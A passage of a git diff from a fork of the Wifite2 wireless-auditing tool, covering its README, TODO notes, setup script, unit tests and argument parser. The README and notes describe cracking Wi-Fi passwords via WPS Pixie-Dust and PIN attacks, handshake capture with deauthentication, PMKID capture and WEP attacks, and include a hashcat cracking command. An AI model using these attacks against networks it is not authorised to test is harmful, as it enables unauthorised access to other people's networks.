* New result type: `pmkid_result`
* Add entry to `cracked.txt`
4. Run crack attack using hashcat:
* `./hashcat64.bin --force -m 16800 -a0 -w2 path/to/pmkid.16800 path/to/wordlist.txt`
### Problems
* Requires latest hashcat to be installed. This might be in a different directory.
* Use can specify path to hashcat? Yeck...
* % hashcat -h | grep 16800
* 16800 | WPA-PMKID-PBKDF2
* If target can't be attacked... we need to detect this failure mode.
* Might need to scrape `hcxdumptool`'s output
* Look at `pmkids()` func in .bashrc
* hcxpcaptool -z OUTPUT.16800 INPUT.pcapng > /dev/null
* Check OUTPUT.16800 for the ESSID.
* Wireless adapter support is minimal, apparently.
* hcxdumptool also deauths networks and captures handshakes... maybe unnecessarily

170
README.md
View File

@@ -1,59 +1,157 @@
Wifite 2
========
A complete re-write of [`wifite`](https://github.com/derv82/wifite), a Python script for auditing wireless networks.
Fork note
=========
What's new?
-----------
* Lots of files instead of "one big script".
* Cleaner process management -- No longer leaves processes running in the background.
* UX: Target access points are refreshed every second instead of every 5 seconds.
* UX: Displays realtime Power level (in db) of currently-attacked target
This fork has made the migration from the deprecated iwconfig and ifconfig to iw and ip.
I also added an option to disable monitor mode on the wifi antenna after wifite quits.
What's not new?
---------------
* Backwards compatibility with the original `wifite`'s arguments.
* Same text-based interface everyone knows and loves.
Wifite
======
Full Feature List
-----------------
* Reaver Pixie-Dust attack (`--pixie`)
* Reaver WPS PIN attack (`--reaver`)
* WPA handshake capture (`--no-reaver`)
* Validates handshakes against `pyrit`, `tshark`, `cowpatty`, and `aircrack-ng`
* Various WEP attacks (replay, chopchop, fragment, etc)
* 5Ghz support for wireless cards that support 5ghz (use `-5` option)
* Stores cracked passwords and handshakes to the current directory, with metadata about the access point (via `--cracked` command).
* Decloaks hidden access points when channel is fixed (use `-c <channel>` option)
* Provides commands to crack captured WPA handshakes (via `--crack` command)
This repo is a complete re-write of [`wifite`](https://github.com/derv82/wifite), a Python script for auditing wireless networks.
Support
-------
Wifite2 is designed entirely for the latest version of Kali Rolling release (tested on Kali 2016.2, updated May 2017).
Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches!
This means only the latest versions of these programs are supported: Aircrack-ng suite, reaver, tshark, cowpatty.
Wifite is designed to use all known methods for retrieving the password of a wireless access point (router). These methods include:
1. WPS: The [Offline Pixie-Dust attack](https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup#Offline_brute-force_attack)
1. WPS: The [Online Brute-Force PIN attack](https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup#Online_brute-force_attack)
2. WPA: The [WPA Handshake Capture](https://hashcat.net/forum/thread-7717.html) + offline crack.
3. WPA: The [PMKID Hash Capture](https://hashcat.net/forum/thread-7717.html) + offline crack.
4. WEP: Various known attacks against WEP, including *fragmentation*, *chop-chop*, *aireplay*, etc.
Other pen-testing distributions (such as BackBox) have outdated versions of these suites; these distributions are not supported.
Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.
Installing & Running
--------------------
Supported Operating Systems
---------------------------
Wifite is designed specifically for the latest version of [**Kali** Linux](https://www.kali.org/). [ParrotSec](https://www.parrotsec.org/) is also supported.
Other pen-testing distributions (such as BackBox or Ubuntu) have outdated versions of the tools used by Wifite. Do not expect support unless you are using the latest versions of the *Required Tools*, and also [patched wireless drivers that support injection]().
Required Tools
--------------
First and foremost, you will need a wireless card capable of "Monitor Mode" and packet injection (see [this tutorial for checking if your wireless card is compatible](http://www.aircrack-ng.org/doku.php?id=compatible_cards) and also [this guide](https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup#Offline_brute-force_attack)). There are many cheap wireless cards that plug into USB available from online stores.
Second, only the latest versions of these programs are supported and must be installed for Wifite to work properly:
**Required:**
* `python`: Wifite is compatible with both `python2` and `python3`.
* [`iw`](https://wireless.wiki.kernel.org/en/users/documentation/iw): For identifying wireless devices already in Monitor Mode.
* [`ifconfig`](https://en.wikipedia.org/wiki/Ifconfig): For starting/stopping wireless devices.
* [`Aircrack-ng`](http://aircrack-ng.org/) suite, includes:
* [`airmon-ng`](https://tools.kali.org/wireless-attacks/airmon-ng): For enumerating and enabling Monitor Mode on wireless devices.
* [`aircrack-ng`](https://tools.kali.org/wireless-attacks/aircrack-ng): For cracking WEP .cap files and WPA handshake captures.
* [`aireplay-ng`](https://tools.kali.org/wireless-attacks/aireplay-ng): For deauthing access points, replaying capture files, various WEP attacks.
* [`airodump-ng`](https://tools.kali.org/wireless-attacks/airodump-ng): For target scanning & capture file generation.
* [`packetforge-ng`](https://tools.kali.org/wireless-attacks/packetforge-ng): For forging capture files.
**Optional, but Recommended:**
* [`tshark`](https://www.wireshark.org/docs/man-pages/tshark.html): For detecting WPS networks and inspecting handshake capture files.
* [`reaver`](https://github.com/t6x/reaver-wps-fork-t6x): For WPS Pixie-Dust & brute-force attacks.
* Note: Reaver's `wash` tool can be used to detect WPS networks if `tshark` is not found.
* [`bully`](https://github.com/aanarchyy/bully): For WPS Pixie-Dust & brute-force attacks.
* Alternative to Reaver. Specify `--bully` to use Bully instead of Reaver.
* Bully is also used to fetch PSK if `reaver` cannot after cracking WPS PIN.
* [`coWPAtty`](https://tools.kali.org/wireless-attacks/cowpatty): For detecting handshake captures.
* [`pyrit`](https://github.com/JPaulMora/Pyrit): For detecting handshake captures.
* [`hashcat`](https://hashcat.net/): For cracking PMKID hashes.
* [`hcxdumptool`](https://github.com/ZerBea/hcxdumptool): For capturing PMKID hashes.
* [`hcxpcaptool`](https://github.com/ZerBea/hcxtools): For converting PMKID packet captures into `hashcat`'s format.
Run Wifite
----------
```
git clone https://github.com/derv82/wifite2.git
cd wifite2
./Wifite.py
sudo ./Wifite.py
```
Install Wifite
--------------
To install onto your computer (so you can just run `wifite` from any terminal), run:
```bash
sudo python setup.py install
```
This will install `wifite` to `/usr/sbin/wifite` which should be in your terminal path.
**Note:** Uninstalling is [not as easy](https://stackoverflow.com/questions/1550226/python-setup-py-uninstall#1550235). The only way to uninstall is to record the files installed by the above command and *remove* those files:
```bash
sudo python setup.py install --record files.txt \
&& cat files.txt | xargs sudo rm \
&& rm -f files.txt
```
Brief Feature List
------------------
* [PMKID hash capture](https://hashcat.net/forum/thread-7717.html) (enabled by-default, force with: `--pmkid`)
* WPS Offline Brute-Force Attack aka "Pixie-Dust". (enabled by-default, force with: `--wps-only --pixie`)
* WPS Online Brute-Force Attack aka "PIN attack". (enabled by-default, force with: `--wps-only --no-pixie`)
* WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture (enabled by-default, force with: `--no-wps`)
* Validates handshakes against `pyrit`, `tshark`, `cowpatty`, and `aircrack-ng` (when available)
* Various WEP attacks (replay, chopchop, fragment, hirte, p0841, caffe-latte)
* Automatically decloaks hidden access points while scanning or attacking.
* Note: Only works when channel is fixed. Use `-c <channel>`
* Disable this using `--no-deauths`
* 5Ghz support for some wireless cards (via `-5` switch).
* Note: Some tools don't play well on 5GHz channels (e.g. `aireplay-ng`)
* Stores cracked passwords and handshakes to the current directory (`--cracked`)
* Includes information about the cracked access point (Name, BSSID, Date, etc).
* Easy to try to crack handshakes or PMKID hashes against a wordlist (`--crack`)
What's new?
-----------
Comparing this repo to the "old wifite" @ https://github.com/derv82/wifite
* **Less bugs**
* Cleaner process management. Does not leave processes running in the background (the old `wifite` was bad about this).
* No longer "one monolithic script". Has working unit tests. Pull requests are less-painful!
* **Speed**
* Target access points are refreshed every second instead of every 5 seconds.
* **Accuracy**
* Displays realtime Power level of currently-attacked target.
* Displays more information during an attack (e.g. % during WEP chopchop attacks, Pixie-Dust step index, etc)
* **Educational**
* The `--verbose` option (expandable to `-vv` or `-vvv`) shows which commands are executed & the output of those commands.
* This can help debug why Wifite is not working for you. Or so you can learn how these tools are used.
* More-actively developed.
* Python 3 support.
* Sweet new ASCII banner.
What's gone?
------------
* Some command-line arguments (`--wept`, `--wpst`, and other confusing switches).
* You can still access some of these obscure options, try `wifite -h -v`
What's not new?
---------------
* (Mostly) Backwards compatible with the original `wifite`'s arguments.
* Same text-based interface everyone knows and loves.
Screenshots
-----------
Cracking WPS PIN using `reaver`'s Pixie-Dust attack, then fetching WPA key using `bully`:
![Pixie-Dust with Reaver to get PIN and Bully to get PSK](https://i.imgur.com/Q5KSDbg.gif)
-------------
Cracking WPA key using PMKID attack:
![PMKID attack](https://i.imgur.com/CR8oOp0.gif)
-------------
Decloaking & cracking a hidden access point (via the WPA Handshake attack):
![Decloaking and Cracking a hidden access point](http://i.imgur.com/MTMwSzM.gif)
![Decloaking and Cracking a hidden access point](https://i.imgur.com/F6VPhbm.gif)
-------------
Cracking a weak WEP password (using the WEP Replay attack):
![Cracking a weak WEP password](http://i.imgur.com/VIeltx9.gif)
![Cracking a weak WEP password](https://i.imgur.com/jP72rVo.gif)
-------------
Various cracking options (using `--crack` option):
![--crack option](http://i.imgur.com/rydOakW.png)
Cracking a pre-captured handshake using John The Ripper (via the `--crack` option):
![--crack option](https://i.imgur.com/iHcfCjp.gif)

71
TODO.md
View File

@@ -4,6 +4,62 @@ This file is a braindump of ideas to improve Wifite2 (or forward-looking to "Wif
------------------------------------------------------
### Better Dependency Handling
I can rely on `pip` + `requirements.txt` for python libraries, but most of wifite's dependencies are installed programs.
When a dependency is not found, Wifite should walk the user through installing all required dependencies, and maybe the optional dependencies as well.
The dependency-installation walkthrough should provide or auto-execute the install commands (`git clone`, `wget | tar && ./config`, etc).
Since we have a Python script for every dependency (under `wifite/tools/` or `wifite/util/`), we use Python's multiple-inheritance to achieve this.
Requirements:
1. A base *Dependency* class
* `@abstractmethods` for `exists()`, `name()`, `install()`, `print_install()`
2. Update all dependencies to inherit *Dependency*
* Override abstract methods
3. Dependency-checker to run at Wifite startup.
* Check if all required dependencies exists.
* If required deps are missing, Prompt to install all (optional+required) or just required, or to continue w/o install with warning.
* If optional deps are missing, suggest `--install` without prompting.
* Otherwise continue silently.
------------------------------------------------------
### Support Other Distributions (not just Kali x86/64)
Off the top of my head:
* Raspberry Pi (or any Debian distro)
* Raspberry Pi + Kali (?)
* Kali Nethunter
* Various other distributions (backbox, pentoo, blackarch, etc)
Deprecation of "core" programs:
* `iwconfig` is deprecated in favor of `iw`
* `ifconfig` is deprecated in favor of `ip`
Versioning problems:
* Pixiewps output differs depending on version
* Likewise for reaver & bully
* Reaver and bully args have changed significantly over the years (added/removed/required)
* airodump-ng --write-interval=1 doesn't work on older versions
* Same with --wps and a few other options :(
* airmon-ng output differs, wifite sees "phy0" instead of the interface name.
Misc problems:
* Some people have problems with multiple wifi cards plugged in
* Solution: User prompt when no devices are in monitor mode (ask first).
* Some people want wifite to kill network manager, others don't.
* Solution: User prompt to kill processes
* Some people need --ignore-negative-one on some wifi cards.
------------------------------------------------------
### Command-line Arguments
Wifite is a 'Spray and Pray', 'Big Red Button' script. Wifite should not provide obscure options that only advanced users can understand. Advanced users can simply use Wifite's dependencies directly.
@@ -54,20 +110,13 @@ And some native Python implementations might be cross-platform, which would allo
Some of Wifite's dependencies work on other OSes (airodump) but some don't (airmon).
If it's possible to run these programs on Windows or OSX, Wifite should suporrt that.
------------------------------------------------------
### Backwards Compatibility
* WIFITE: needs command-line parity with older versions (or does it?)
* AIRODUMP: --output-format, --wps, and other flags are only in new versions of Airodump.
If it's possible to run these programs on Windows or OSX, Wifite should support that.
------------------------------------------------------
### WPS Attacks
Wifite's Pixie-Dust attack status output differs between Reaver & Bully. And the command line switches are... not even used?
Wifite's Pixie-Dust attack status output differs between Reaver & Bully. And the command line switches are... not even used by bully?
Ideally for Pixie-Dust, we'd have:
@@ -98,6 +147,8 @@ Users with that kind of dedication can run bully/reaver themselves.
### Directory structure
**Note: This was mostly done in the great refactoring of Late March 2018**
Too modular in some places, not modular enough in others.
Not "/py":
@@ -192,7 +243,7 @@ Not "/py":
**AIRCRACK**
* Start aircrack-ng for WEP: Needs pcap file with IVS
* Start aircrack-ng for WPA: Needs pcap file containig Handshake
* Start aircrack-ng for WPA: Needs pcap file containing Handshake
* Check status of aircrack-ng (`percenage`, `keys-tried`)
* Return cracked key

View File

@@ -1,5 +1,7 @@
#!/usr/bin/python
#!/usr/bin/env python
from wifite import wifite
# Note: This script runs Wifite from within a cloned git repo.
# The script `bin/wifite` is designed to be run after installing (from /usr/sbin), not from the cwd.
wifite.run()
from wifite import __main__
__main__.entry_point()

4
bin/wifite Executable file
View File

@@ -0,0 +1,4 @@
#!/usr/bin/env python
from wifite import __main__
__main__.entry_point()

2
setup.cfg Normal file
View File

@@ -0,0 +1,2 @@
[install]
install-scripts=/usr/sbin

39
setup.py Normal file
View File

@@ -0,0 +1,39 @@
from distutils.core import setup
from wifite.config import Configuration
setup(
name='wifite',
version=Configuration.version,
author='derv82',
author_email='derv82@gmail.com',
url='https://github.com/derv82/wifite2',
packages=[
'wifite',
'wifite/attack',
'wifite/model',
'wifite/tools',
'wifite/util',
],
data_files=[
('share/dict', ['wordlist-top4800-probable.txt'])
],
entry_points={
'console_scripts': [
'wifite = wifite.wifite:entry_point'
]
},
license='GNU GPLv2',
scripts=['bin/wifite'],
description='Wireless Network Auditor for Linux',
#long_description=open('README.md').read(),
long_description='''Wireless Network Auditor for Linux.
Cracks WEP, WPA, and WPS encrypted networks.
Depends on Aircrack-ng Suite, Tshark (from Wireshark), and various other external tools.''',
classifiers = [
"Programming Language :: Python :: 2.7",
"Programming Language :: Python :: 3"
]
)

View File

@@ -0,0 +1,13 @@
BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key
AA:BB:CC:DD:EE:FF, 2018-04-06 18:21:23, 2018-04-06 18:21:24, 10, 54, WPA2, CCMP,PSK, -34, 5, 0, 0. 0. 0. 0, 24, Comma\, no trailing space,
AA:BB:CC:DD:EE:FF, 2018-04-06 18:19:17, 2018-04-06 18:19:19, 10, 54, WPA2, CCMP,PSK, -35, 18, 0, 0. 0. 0. 0, 20, \"Quoted ESSID\, Comma\, no trailing spaces. \",
AA:BB:CC:DD:EE:FF, 2018-04-06 18:35:29, 2018-04-06 18:35:30, 10, 54, WPA2, CCMP,PSK, -31, 12, 0, 0. 0. 0. 0, 22, "Comma\, Trailing space ",
AA:BB:CC:DD:EE:FF, 2018-04-06 18:22:45, 2018-04-06 18:22:46, 10, 54, WPA2, CCMP,PSK, -29, 15, 0, 0. 0. 0. 0, 30, "\"quote\" comma\, trailing space ",
AA:BB:CC:DD:EE:FF, 2018-04-06 18:50:11, 2018-04-06 18:50:17, 10, 54, WPA2, CCMP,PSK, -20, 43, 0, 0. 0. 0. 0, 19, \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00,
Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs
Can't render this file because it contains an unexpected character in line 4 and column 135.

Binary file not shown.

24
tests/test_Airmon.py Normal file
View File

@@ -0,0 +1,24 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
sys.path.insert(0, '..')
from wifite.tools.airmon import Airmon
import unittest
class TestAirmon(unittest.TestCase):
def test_airmon_start(self):
# From https://github.com/derv82/wifite2/issues/67
stdout = '''
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Centrino Ultimate-N 6300 (rev 3e)
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
'''
mon_iface = Airmon._parse_airmon_start(stdout)
assert mon_iface == 'wlan0mon', 'Expected monitor-mode interface to be "wlan0mon" but got "{}"'.format(mon_iface)

52
tests/test_Airodump.py Normal file
View File

@@ -0,0 +1,52 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
sys.path.insert(0, '..')
from wifite.tools.airodump import Airodump
import unittest
class TestAirodump(unittest.TestCase):
''' Test suite for Wifite's interaction with the Airodump tool '''
def test_airodump_weird_characters(self):
csv_filename = self.getFile('airodump-weird-ssids.csv')
targets = Airodump.get_targets_from_csv(csv_filename)
target = targets[0]
expected = 'Comma, no trailing space'
assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
target = targets[1]
expected = '"Quoted ESSID, Comma, no trailing spaces. "'
assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
target = targets[2]
expected = 'Comma, Trailing space '
assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
target = targets[3]
expected = '"quote" comma, trailing space '
assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
# Hidden access point
target = targets[4]
assert target.essid_known == False, 'ESSID full of null characters should not be known'
expected = None
assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
assert target.essid_len == 19, 'ESSID length shold be 19, but got %s' % target.essid_len
def getFile(self, filename):
''' Helper method to parse targets from filename '''
import os, inspect
this_file = os.path.abspath(inspect.getsourcefile(self.getFile))
this_dir = os.path.dirname(this_file)
return os.path.join(this_dir, 'files', filename)
if __name__ == '__main__':
unittest.main()

View File

@@ -1,10 +1,11 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
sys.path.insert(0, '..')
from wifite.model.handshake import Handshake
from wifite.util.process import Process
import unittest
@@ -23,25 +24,29 @@ class TestHandshake(unittest.TestCase):
hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
try:
hs.analyze()
except Exception, e:
except Exception:
fail()
@unittest.skipUnless(Process.exists('tshark'), 'tshark is missing')
def testHandshakeTshark(self):
hs_file = self.getFile('handshake_exists.cap')
hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
assert(len(hs.tshark_handshakes()) > 0)
@unittest.skipUnless(Process.exists('pyrit'), 'pyrit is missing')
def testHandshakePyrit(self):
hs_file = self.getFile('handshake_exists.cap')
hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
assert(len(hs.pyrit_handshakes()) > 0)
@unittest.skipUnless(Process.exists('cowpatty'), 'cowpatty is missing')
def testHandshakeCowpatty(self):
hs_file = self.getFile('handshake_exists.cap')
hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
hs.divine_bssid_and_essid()
assert(len(hs.cowpatty_handshakes()) > 0)
@unittest.skipUnless(Process.exists('aircrack-ng'), 'aircrack-ng is missing')
def testHandshakeAircrack(self):
hs_file = self.getFile('handshake_exists.cap')
hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from wifite.tools.airodump import Airodump

0
wifite/__init__.py Normal file → Executable file
View File

105
wifite/__main__.py Executable file
View File

@@ -0,0 +1,105 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
try:
from .config import Configuration
except (ValueError, ImportError) as e:
raise Exception('You may need to run wifite from the root directory (which includes README.md)', e)
from .util.color import Color
import os
import sys
class Wifite(object):
def __init__(self):
'''
Initializes Wifite. Checks for root permissions and ensures dependencies are installed.
'''
self.print_banner()
Configuration.initialize(load_interface=False)
if os.getuid() != 0:
Color.pl('{!} {R}error: {O}wifite{R} must be run as {O}root{W}')
Color.pl('{!} {R}re-run with {O}sudo{W}')
Configuration.exit_gracefully(0)
from .tools.dependency import Dependency
Dependency.run_dependency_check()
def start(self):
'''
Starts target-scan + attack loop, or launches utilities dpeending on user input.
'''
from .model.result import CrackResult
from .model.handshake import Handshake
from .util.crack import CrackHelper
if Configuration.show_cracked:
CrackResult.display()
elif Configuration.check_handshake:
Handshake.check()
elif Configuration.crack_handshake:
CrackHelper.run()
else:
Configuration.get_monitor_mode_interface()
self.scan_and_attack()
def print_banner(self):
'''Displays ASCII art of the highest caliber.'''
Color.pl(r' {G} . {GR}{D} {W}{G} . {W}')
Color.pl(r' {G}.´ · .{GR}{D} {W}{G}. · `. {G}wifite {D}%s{W}' % Configuration.version)
Color.pl(r' {G}: : : {GR}{D} (¯) {W}{G} : : : {W}{D}automated wireless auditor{W}')
Color.pl(r' {G}`. · `{GR}{D}\ {W}{G}´ · .´ {C}{D}https://github.com/derv82/wifite2{W}')
Color.pl(r' {G} ` {GR}{D}/¯¯¯\{W}{G} ´ {W}')
Color.pl('')
def scan_and_attack(self):
'''
1) Scans for targets, asks user to select targets
2) Attacks each target
'''
from .util.scanner import Scanner
from .attack.all import AttackAll
Color.pl('')
# Scan
s = Scanner()
targets = s.select_targets()
# Attack
attacked_targets = AttackAll.attack_multiple(targets)
Color.pl('{+} Finished attacking {C}%d{W} target(s), exiting' % attacked_targets)
##############################################################
def entry_point():
try:
wifite = Wifite()
wifite.start()
except Exception as e:
Color.pexception(e)
Color.pl('\n{!} {R}Exiting{W}\n')
except KeyboardInterrupt:
Color.pl('\n{!} {O}Interrupted, Shutting down...{W}')
Configuration.exit_gracefully(0)
if __name__ == '__main__':
entry_point()

View File

@@ -1,7 +1,7 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from util.color import Color
from .util.color import Color
import argparse, sys
@@ -9,7 +9,8 @@ class Arguments(object):
''' Holds arguments used by the Wifite '''
def __init__(self, configuration):
self.verbose = any(['-v' in word for word in sys.argv])
# Hack: Check for -v before parsing args; so we know which commands to display.
self.verbose = '-v' in sys.argv or '-hv' in sys.argv or '-vh' in sys.argv
self.config = configuration
self.args = self.get_arguments()
@@ -23,22 +24,16 @@ class Arguments(object):
''' Returns parser.args() containing all program arguments '''
parser = argparse.ArgumentParser(usage=argparse.SUPPRESS,
formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=80, width=130))
formatter_class=lambda prog: argparse.HelpFormatter(
prog, max_help_position=80, width=130))
glob = parser.add_argument_group('SETTINGS')
self._add_global_args(glob)
wep_group = parser.add_argument_group('WEP')
self._add_wep_args(wep_group)
wpa_group = parser.add_argument_group('WPA')
self._add_wpa_args(wpa_group)
wps_group = parser.add_argument_group('WPS')
self._add_wps_args(wps_group)
commands_group = parser.add_argument_group('COMMANDS')
self._add_command_args(commands_group)
self._add_global_args(parser.add_argument_group(Color.s('{C}SETTINGS{W}')))
self._add_wep_args(parser.add_argument_group(Color.s('{C}WEP{W}')))
self._add_wpa_args(parser.add_argument_group(Color.s('{C}WPA{W}')))
self._add_wps_args(parser.add_argument_group(Color.s('{C}WPS{W}')))
self._add_pmkid_args(parser.add_argument_group(Color.s('{C}PMKID{W}')))
self._add_eviltwin_args(parser.add_argument_group(Color.s('{C}EVIL TWIN{W}')))
self._add_command_args(parser.add_argument_group(Color.s('{C}COMMANDS{W}')))
return parser.parse_args()
@@ -49,25 +44,35 @@ class Arguments(object):
action='count',
default=0,
dest='verbose',
help=Color.s('Shows more options ({C}-h -v{W}). Prints tool outputs. (default: {G}quiet{W})'))
help=Color.s('Shows more options ({C}-h -v{W}). Prints commands and ' +
'outputs. (default: {G}quiet{W})'))
glob.add_argument('-i',
action='store',
dest='interface',
metavar='[interface]',
type=str,
help=Color.s('Wireless interface to use (default: {G}ask{W})'))
help=Color.s('Wireless interface to use, e.g. {C}wlan0mon{W} ' +
'(default: {G}ask{W})'))
glob.add_argument('-c',
action='store',
dest='channel',
metavar='[channel]',
type=int,
help=Color.s('Wireless channel to scan (default: {G}all channels{W})'))
glob.add_argument('--channel', help=argparse.SUPPRESS, action='store', dest='channel', type=int)
help=Color.s('Wireless channel to scan (default: {G}all 2Ghz channels{W})'))
glob.add_argument('--channel', help=argparse.SUPPRESS, action='store',
dest='channel', type=int)
glob.add_argument('-5',
'--5ghz',
action='store_true',
dest='five_ghz',
help=self._verbose('Include 5Ghz channels (default: {G}off{W})'))
glob.add_argument('-mac',
'---random-mac',
'--random-mac',
action='store_true',
dest='random_mac',
help=Color.s('Randomize wireless card MAC address (default: {G}off{W})'))
@@ -77,29 +82,28 @@ class Arguments(object):
dest='scan_time',
nargs='?',
const=10,
metavar='scantime',
metavar='scan_time',
type=int,
help=Color.s('{G}Pillage{W}: Attack all targets after {C}scantime{W} seconds'))
glob.add_argument('--pillage', help=argparse.SUPPRESS, action='store', dest='scan_time', nargs='?', const=10, type=int)
help=Color.s('{G}Pillage{W}: Attack all targets after ' +
'{C}scan_time{W} (seconds)'))
glob.add_argument('--pillage', help=argparse.SUPPRESS, action='store',
dest='scan_time', nargs='?', const=10, type=int)
glob.add_argument('--kill',
action='store_true',
dest='kill_conflicting_processes',
help=Color.s('Kill processes that conflict with Airmon/Airodump (default: {G}off{W})'))
glob.add_argument('-5',
'--5ghz',
action='store_true',
dest='five_ghz',
help=self._verbose('Include 5Ghz channels (default: {G}off{W})'))
help=Color.s('Kill processes that conflict with Airmon/Airodump ' +
'(default: {G}off{W})'))
glob.add_argument('-b',
action='store',
dest='target_bssid',
metavar='[bssid]',
type=str,
help=self._verbose('BSSID (e.g. {GR}AA:BB:CC:DD:EE:FF{W}) of access point to attack'))
glob.add_argument('--bssid', help=argparse.SUPPRESS, action='store', dest='target_bssid', type=str)
help=self._verbose('BSSID (e.g. {GR}AA:BB:CC:DD:EE:FF{W}) of access ' +
'point to attack'))
glob.add_argument('--bssid', help=argparse.SUPPRESS, action='store',
dest='target_bssid', type=str)
glob.add_argument('-e',
action='store',
@@ -107,7 +111,8 @@ class Arguments(object):
metavar='[essid]',
type=str,
help=self._verbose('ESSID (e.g. {GR}NETGEAR07{W}) of access point to attack'))
glob.add_argument('--essid', help=argparse.SUPPRESS, action='store', dest='target_essid', type=str)
glob.add_argument('--essid', help=argparse.SUPPRESS, action='store',
dest='target_essid', type=str)
glob.add_argument('-E',
action='store',
@@ -116,7 +121,14 @@ class Arguments(object):
type=str,
default=None,
help=self._verbose('Hides targets with ESSIDs that match the given text'))
glob.add_argument('--ignore-essid', help=argparse.SUPPRESS, action='store', dest='ignore_essid', type=str)
glob.add_argument('--ignore-essid', help=argparse.SUPPRESS, action='store',
dest='ignore_essid', type=str)
glob.add_argument('--clients-only',
action='store_true',
dest='clients_only',
help=Color.s('Only show targets that have associated clients ' +
'(default: {G}off{W})'))
glob.add_argument('--showb',
action='store_true',
@@ -126,17 +138,38 @@ class Arguments(object):
glob.add_argument('--nodeauths',
action='store_true',
dest='no_deauth',
help=Color.s('Passive mode: Never deauthenticates clients (default: {G}deauth targets{W})'))
glob.add_argument('--no-deauths', action='store_true', dest='no_deauth', help=argparse.SUPPRESS)
glob.add_argument('-nd', action='store_true', dest='no_deauth', help=argparse.SUPPRESS)
help=Color.s('Passive mode: Never deauthenticates clients ' +
'(default: {G}deauth targets{W})'))
glob.add_argument('--no-deauths', action='store_true', dest='no_deauth',
help=argparse.SUPPRESS)
glob.add_argument('-nd', action='store_true', dest='no_deauth',
help=argparse.SUPPRESS)
glob.add_argument('--num-deauths',
action='store',
type=int,
dest='num_deauths',
metavar="[num]",
metavar='[num]',
default=None,
help=self._verbose('Number of deauth packets to send (default: {G}%d{W})' % self.config.num_deauths))
help=self._verbose('Number of deauth packets to send (default: ' +
'{G}%d{W})' % self.config.num_deauths))
glob.add_argument('--demon',
action='store_true',
dest='demon',
help=Color.s('Puts device back in managed mode after quitting (default: '+
'{G}off{W})'))
def _add_eviltwin_args(self, group):
pass
'''
group.add_argument('--eviltwin',
action='store_true',
dest='use_eviltwin',
help=Color.s('Use the "Evil Twin" attack against all targets ' +
'(default: {G}off{W})'))
# TODO: Args to specify deauth interface, server port, etc.
'''
def _add_wep_args(self, wep):
@@ -144,128 +177,142 @@ class Arguments(object):
wep.add_argument('--wep',
action='store_true',
dest='wep_filter',
help=Color.s('Filter to display only WEP-encrypted networks (default: {G}off{W})'))
wep.add_argument('-wep', help=argparse.SUPPRESS, action='store_true', dest='wep_filter')
help=Color.s('Show only {C}WEP-encrypted networks{W}'))
wep.add_argument('-wep', help=argparse.SUPPRESS, action='store_true',
dest='wep_filter')
wep.add_argument('--require-fakeauth',
action='store_true',
dest='require_fakeauth',
help=Color.s('Fails attacks if fake-auth fails (default: {G}off{W})'))
wep.add_argument('--nofakeauth', help=argparse.SUPPRESS, action='store_true', dest='require_fakeauth')
wep.add_argument('-nofakeauth', help=argparse.SUPPRESS, action='store_true', dest='require_fakeauth')
help=Color.s('Fails attacks if {C}fake-auth{W} fails (default: {G}off{W})'))
wep.add_argument('--nofakeauth', help=argparse.SUPPRESS, action='store_true',
dest='require_fakeauth')
wep.add_argument('-nofakeauth', help=argparse.SUPPRESS, action='store_true',
dest='require_fakeauth')
wep.add_argument('--keep-ivs',
action='store_true',
dest='wep_keep_ivs',
default=False,
help=Color.s('Retain .IVS files and reuse when cracking ' +
'(default: {G}off{W})'))
wep.add_argument('--pps',
action='store',
dest='wep_pps',
metavar='[pps]',
type=int,
help=self._verbose('Packets Per Second to replay (default: {G}%d pps{W})' % self.config.wep_pps))
wep.add_argument('-pps', help=argparse.SUPPRESS, action='store', dest='wep_pps', type=int)
help=self._verbose('Packets-per-second to replay (default: ' +
'{G}%d pps{W})' % self.config.wep_pps))
wep.add_argument('-pps', help=argparse.SUPPRESS, action='store',
dest='wep_pps', type=int)
wep.add_argument('--wept',
action='store',
dest='wep_timeout',
metavar='[seconds]',
type=int,
help=self._verbose('Seconds to wait before failing (default: {G}%d sec{W})' % self.config.wep_timeout))
wep.add_argument('-wept', help=argparse.SUPPRESS, action='store', dest='wep_timeout', type=int)
help=self._verbose('Seconds to wait before failing (default: ' +
'{G}%d sec{W})' % self.config.wep_timeout))
wep.add_argument('-wept', help=argparse.SUPPRESS, action='store',
dest='wep_timeout', type=int)
wep.add_argument('--wepca',
action='store',
dest='wep_crack_at_ivs',
metavar='[ivs]',
type=int,
help=self._verbose('Start cracking at this many IVs (default: {G}%d ivs{W})' % self.config.wep_crack_at_ivs))
